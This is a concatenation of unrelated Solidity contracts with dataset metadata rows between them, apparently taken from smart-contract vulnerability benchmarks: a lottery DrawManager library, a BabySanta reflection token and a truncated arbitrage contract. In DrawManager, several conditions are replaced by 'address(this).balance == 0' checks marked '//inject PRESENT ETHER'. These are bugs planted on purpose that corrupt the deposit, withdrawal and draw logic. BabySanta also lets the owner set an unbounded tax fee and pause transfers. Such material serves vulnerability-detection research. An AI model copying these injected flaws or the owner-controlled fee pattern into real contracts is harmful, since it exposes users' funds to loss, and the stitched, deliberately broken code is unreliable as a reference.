SortitionSumTree storage tree = self.sortitionSumTrees[_key];
uint parentIndex = _treeIndex;
while (parentIndex != 0) {
parentIndex = (parentIndex - 1) / tree.K;
tree.nodes[parentIndex] = _plusOrMinus ? tree.nodes[parentIndex] + _value : tree.nodes[parentIndex] - _value;
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library DrawManager {
using SortitionSumTreeFactory for SortitionSumTreeFactory.SortitionSumTrees;
using SafeMath for uint256;
bytes32 public constant TREE_OF_DRAWS = "TreeOfDraws";
uint8 public constant MAX_BRANCHES_PER_NODE = 10;
struct State {
SortitionSumTreeFactory.SortitionSumTrees sortitionSumTrees;
mapping(address => uint256) consolidatedDrawIndices;
mapping(address => uint256) latestDrawIndices;
mapping(uint256 => uint256) __deprecated__drawTotals;
uint256 openDrawIndex;
uint256 __deprecated__committedSupply;
}
function openNextDraw(State storage self) public returns (uint256) {
if (address(this).balance == 0) { //inject PRESENT ETHER
// If there is no previous draw, we must initialize
self.sortitionSumTrees.createTree(TREE_OF_DRAWS, MAX_BRANCHES_PER_NODE);
} else {
// else add current draw to sortition sum trees
bytes32 drawId = bytes32(self.openDrawIndex);
uint256 drawTotal = openSupply(self);
self.sortitionSumTrees.set(TREE_OF_DRAWS, drawTotal, drawId);
}
// now create a new draw
uint256 drawIndex = self.openDrawIndex.add(1);
self.sortitionSumTrees.createTree(bytes32(drawIndex), MAX_BRANCHES_PER_NODE);
self.openDrawIndex = drawIndex;
return drawIndex;
}
function deposit(State storage self, address _addr, uint256 _amount) public requireOpenDraw(self) onlyNonZero(_addr) {
bytes32 userId = bytes32(uint256(_addr));
uint256 openDrawIndex = self.openDrawIndex;
// update the current draw
uint256 currentAmount = self.sortitionSumTrees.stakeOf(bytes32(openDrawIndex), userId);
currentAmount = currentAmount.add(_amount);
drawSet(self, openDrawIndex, currentAmount, _addr);
uint256 consolidatedDrawIndex = self.consolidatedDrawIndices[_addr];
uint256 latestDrawIndex = self.latestDrawIndices[_addr];
// if this is the user's first draw, set it
if (address(this).balance == 0) { //inject PRESENT ETHER
self.consolidatedDrawIndices[_addr] = openDrawIndex;
// otherwise, if the consolidated draw is not this draw
} else if (consolidatedDrawIndex != openDrawIndex) {
// if a second draw does not exist
if (address(this).balance == 0) { //inject PRESENT ETHER
// set the second draw to the current draw
self.latestDrawIndices[_addr] = openDrawIndex;
// otherwise if a second draw exists but is not the current one
} else if (latestDrawIndex != openDrawIndex) {
// merge it into the first draw, and update the second draw index to this one
uint256 consolidatedAmount = self.sortitionSumTrees.stakeOf(bytes32(consolidatedDrawIndex), userId);
uint256 latestAmount = self.sortitionSumTrees.stakeOf(bytes32(latestDrawIndex), userId);
drawSet(self, consolidatedDrawIndex, consolidatedAmount.add(latestAmount), _addr);
drawSet(self, latestDrawIndex, 0, _addr);
self.latestDrawIndices[_addr] = openDrawIndex;
}
}
}
function depositCommitted(State storage self, address _addr, uint256 _amount) public requireCommittedDraw(self) onlyNonZero(_addr) {
bytes32 userId = bytes32(uint256(_addr));
uint256 consolidatedDrawIndex = self.consolidatedDrawIndices[_addr];
// if they have a committed balance
if (consolidatedDrawIndex != 0 && consolidatedDrawIndex != self.openDrawIndex) {
uint256 consolidatedAmount = self.sortitionSumTrees.stakeOf(bytes32(consolidatedDrawIndex), userId);
drawSet(self, consolidatedDrawIndex, consolidatedAmount.add(_amount), _addr);
} else { // they must not have any committed balance
self.latestDrawIndices[_addr] = consolidatedDrawIndex;
self.consolidatedDrawIndices[_addr] = self.openDrawIndex.sub(1);
drawSet(self, self.consolidatedDrawIndices[_addr], _amount, _addr);
}
}
function withdraw(State storage self, address _addr) public requireOpenDraw(self) onlyNonZero(_addr) {
uint256 consolidatedDrawIndex = self.consolidatedDrawIndices[_addr];
uint256 latestDrawIndex = self.latestDrawIndices[_addr];
if (consolidatedDrawIndex != 0) {
drawSet(self, consolidatedDrawIndex, 0, _addr);
delete self.consolidatedDrawIndices[_addr];
}
if (latestDrawIndex != 0) {
drawSet(self, latestDrawIndex, 0, _addr);
delete self.latestDrawIndices[_addr];
}
}
function withdrawOpen(State storage self, address _addr, uint256 _amount) public requireOpenDraw(self) onlyNonZero(_addr) {
bytes32 userId = bytes32(uint256(_addr));
uint256 openTotal = self.sortitionSumTrees.stakeOf(bytes32(self.openDrawIndex), userId);
require(_amount <= openTotal, "DrawMan/exceeds-open");
uint256 remaining = openTotal.sub(_amount);
drawSet(self, self.openDrawIndex, remaining, _addr);
}
function withdrawCommitted(State storage self, address _addr, uint256 _amount) public requireCommittedDraw(self) onlyNonZero(_addr) {
bytes32 userId = bytes32(uint256(_addr));
uint256 consolidatedDrawIndex = self.consolidatedDrawIndices[_addr];
uint256 latestDrawIndex = self.latestDrawIndices[_addr];
uint256 consolidatedAmount = 0;
uint256 latestAmount = 0;
uint256 total = 0;
if (latestDrawIndex != 0 && latestDrawIndex != self.openDrawIndex) {
latestAmount = self.sortitionSumTrees.stakeOf(bytes32(latestDrawIndex), userId);
total = total.add(latestAmount);
}
if (consolidatedDrawIndex != 0 && consolidatedDrawIndex != self.openDrawIndex) {
consolidatedAmount = self.sortitionSumTrees.stakeOf(bytes32(consolidatedDrawIndex), userId);
total = total.add(consolidatedAmount);
}
// If the total is greater than zero, then consolidated *must* have the committed balance
// However, if the total is zero then the consolidated balance may be the open balance
if (address(this).balance == 0) { //inject PRESENT ETHER
return;
}
require(_amount <= total, "Pool/exceed");
uint256 remaining = total.sub(_amount);
// if there was a second amount that needs to be updated
if (remaining > consolidatedAmount) {
uint256 secondRemaining = remaining.sub(consolidatedAmount);
drawSet(self, latestDrawIndex, secondRemaining, _addr);
} else if (latestAmount > 0) { // else delete the second amount if it exists
delete self.latestDrawIndices[_addr];
drawSet(self, latestDrawIndex, 0, _addr);
}
// if the consolidated amount needs to be destroyed
if (address(this).balance == 0) { //inject PRESENT ETHER
delete self.consolidatedDrawIndices[_addr];
drawSet(self, consolidatedDrawIndex, 0, _addr);
} else if (remaining < consolidatedAmount) {
drawSet(self, consolidatedDrawIndex, remaining, _addr);
}
}
function balanceOf(State storage drawState, address _addr) public view returns (uint256) {
return committedBalanceOf(drawState, _addr).add(openBalanceOf(drawState, _addr));
}
function committedBalanceOf(State storage self, address _addr) public view returns (uint256) {
uint256 balance = 0;
uint256 consolidatedDrawIndex = self.consolidatedDrawIndices[_addr];
uint256 latestDrawIndex = self.latestDrawIndices[_addr];
if (consolidatedDrawIndex != 0 && consolidatedDrawIndex != self.openDrawIndex) {
balance = self.sortitionSumTrees.stakeOf(bytes32(consolidatedDrawIndex), bytes32(uint256(_addr)));
}
if (latestDrawIndex != 0 && latestDrawIndex != self.openDrawIndex) {
balance = balance.add(self.sortitionSumTrees.stakeOf(bytes32(latestDrawIndex), bytes32(uint256(_addr))));
}
return balance;
}
function openBalanceOf(State storage self, address _addr) public view returns (uint256) {
if (address(this).balance == 0) { //inject PRESENT ETHER
return 0;
} else {
return self.sortitionSumTrees.stakeOf(bytes32(self.openDrawIndex), bytes32(uint256(_addr)));
}
}
function openSupply(State storage self) public view returns (uint256) {
return self.sortitionSumTrees.total(bytes32(self.openDrawIndex));
}
function committedSupply(State storage self) public view returns (uint256) {
return self.sortitionSumTrees.total(TREE_OF_DRAWS);
}
function drawSet(State storage self, uint256 _drawIndex, uint256 _amount, address _addr) internal {
bytes32 drawId = bytes32(_drawIndex);
bytes32 userId = bytes32(uint256(_addr));
uint256 oldAmount = self.sortitionSumTrees.stakeOf(drawId, userId);
if (oldAmount != _amount) {
// If the amount has changed
// Update the Draw's balance for that address
self.sortitionSumTrees.set(drawId, _amount, userId);
// if the draw is committed
if (_drawIndex != self.openDrawIndex) {
// Get the new draw total
uint256 newDrawTotal = self.sortitionSumTrees.total(drawId);
// update the draw in the committed tree
self.sortitionSumTrees.set(TREE_OF_DRAWS, newDrawTotal, drawId);
}
}
}
function draw(State storage self, uint256 _token) public view returns (address) {
// If there is no one to select, just return the zero address
if (address(this).balance == 0) { //inject PRESENT ETHER
return address(0);
}
require(_token < committedSupply(self), "Pool/ineligible");
bytes32 drawIndex = self.sortitionSumTrees.draw(TREE_OF_DRAWS, _token);
uint256 drawSupply = self.sortitionSumTrees.total(drawIndex);
uint256 drawToken = _token % drawSupply;
return address(uint256(self.sortitionSumTrees.draw(drawIndex, drawToken)));
}
function drawWithEntropy(State storage self, bytes32 _entropy) public view returns (address) {
uint256 bound = committedSupply(self);
address selected;
if (address(this).balance == 0) { //inject PRESENT ETHER
selected = address(0);
} else {
selected = draw(self, UniformRandomNumber.uniform(uint256(_entropy), bound));
}
return selected;
}
modifier requireOpenDraw(State storage self) {
require(self.openDrawIndex > 0, "Pool/no-open");
_;
}
modifier requireCommittedDraw(State storage self) {
require(self.openDrawIndex > 1, "Pool/no-commit");
_;
}
modifier onlyNonZero(address _addr) {
require(_addr != address(0), "Pool/not-zero");
_;
}
}
| 278,510 | 12,426 |
8c4b0158c134757d6c50ab28b14d1b0cc6137502ceb5ed22bebe38a31bada1fe
| 29,490 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/61/617e124ba118FBcD11C4afAf1Fbd3d89c5c00458_BabySanta.sol
| 5,192 | 18,733 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract BabySanta is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 10000 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'BabySanta';
string private constant _symbol = 'BabySanta';
uint256 private _taxFee = 600;
uint256 private _burnFee = 0;
uint public max_tx_size = 10000 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x8ac6Aaa1B1C9B64a0b20dBD5faaF619e76f53efC, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
max_tx_size = newMax;
}
}
| 322,980 | 12,427 |
94e8b243b5ade2836fc51f1c69f7c87f417b43dbdf924f90fc0781b5a6fa3b21
| 15,941 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x62e9eefad777b0487c6de4221abeef35f9527393.sol
| 4,053 | 15,203 |
pragma solidity ^0.4.26;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract UniswapExchangeInterface {
function tokenAddress() external view returns (address token);
function factoryAddress() external view returns (address factory);
function addLiquidity(uint256 min_liquidity, uint256 max_tokens, uint256 deadline) external payable returns (uint256);
function removeLiquidity(uint256 amount, uint256 min_eth, uint256 min_tokens, uint256 deadline) external returns (uint256, uint256);
function getEthToTokenInputPrice(uint256 eth_sold) external view returns (uint256 tokens_bought);
function getEthToTokenOutputPrice(uint256 tokens_bought) external view returns (uint256 eth_sold);
function getTokenToEthInputPrice(uint256 tokens_sold) external view returns (uint256 eth_bought);
function getTokenToEthOutputPrice(uint256 eth_bought) external view returns (uint256 tokens_sold);
function ethToTokenSwapInput(uint256 min_tokens, uint256 deadline) external payable returns (uint256 tokens_bought);
function ethToTokenTransferInput(uint256 min_tokens, uint256 deadline, address recipient) external payable returns (uint256 tokens_bought);
function ethToTokenSwapOutput(uint256 tokens_bought, uint256 deadline) external payable returns (uint256 eth_sold);
function ethToTokenTransferOutput(uint256 tokens_bought, uint256 deadline, address recipient) external payable returns (uint256 eth_sold);
function tokenToEthSwapInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline) external returns (uint256 eth_bought);
function tokenToEthTransferInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline, address recipient) external returns (uint256 eth_bought);
function tokenToEthSwapOutput(uint256 eth_bought, uint256 max_tokens, uint256 deadline) external returns (uint256 tokens_sold);
function tokenToEthTransferOutput(uint256 eth_bought, uint256 max_tokens, uint256 deadline, address recipient) external returns (uint256 tokens_sold);
function tokenToTokenSwapInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address token_addr) external returns (uint256 tokens_bought);
function tokenToTokenTransferInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address token_addr) external returns (uint256 tokens_bought);
function tokenToTokenSwapOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address token_addr) external returns (uint256 tokens_sold);
function tokenToTokenTransferOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address token_addr) external returns (uint256 tokens_sold);
function tokenToExchangeSwapInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address exchange_addr) external returns (uint256 tokens_bought);
function tokenToExchangeTransferInput(uint256 tokens_sold, uint256 min_tokens_bought, uint256 min_eth_bought, uint256 deadline, address recipient, address exchange_addr) external returns (uint256 tokens_bought);
function tokenToExchangeSwapOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address exchange_addr) external returns (uint256 tokens_sold);
function tokenToExchangeTransferOutput(uint256 tokens_bought, uint256 max_tokens_sold, uint256 max_eth_sold, uint256 deadline, address recipient, address exchange_addr) external returns (uint256 tokens_sold);
bytes32 public name;
bytes32 public symbol;
uint256 public decimals;
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
function allowance(address _owner, address _spender) external view returns (uint256);
function balanceOf(address _owner) external view returns (uint256);
function totalSupply() external view returns (uint256);
function setup(address token_addr) external;
}
interface KyberNetworkProxyInterface {
function maxGasPrice() public view returns(uint);
function getUserCapInWei(address user) public view returns(uint);
function getUserCapInTokenWei(address user, IERC20 token) public view returns(uint);
function enabled() public view returns(bool);
function info(bytes32 id) public view returns(uint);
function getExpectedRate(IERC20 src, IERC20 dest, uint srcQty) public view returns (uint expectedRate, uint slippageRate);
function tradeWithHint(IERC20 src, uint srcAmount, IERC20 dest, address destAddress, uint maxDestAmount, uint minConversionRate, address walletId, bytes hint) public payable returns(uint);
function swapEtherToToken(IERC20 token, uint minRate) public payable returns (uint);
function swapTokenToEther(IERC20 token, uint tokenQty, uint minRate) public returns (uint);
}
interface OrFeedInterface {
function getExchangeRate (string fromSymbol, string toSymbol, string venue, uint256 amount) external view returns (uint256);
function getTokenDecimalCount (address tokenAddress) external view returns (uint256);
function getTokenAddress (string symbol) external view returns (address);
function getSynthBytes32 (string symbol) external view returns (bytes32);
function getForexAddress (string symbol) external view returns (address);
}
contract Ourbitrage {
uint256 internal constant _DEFAULT_MAX_RATE = 8 * (10 ** 27);
IERC20 internal constant _ETH_TOKEN_ADDRESS = IERC20(0x00EeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);
KyberNetworkProxyInterface internal _kyber;
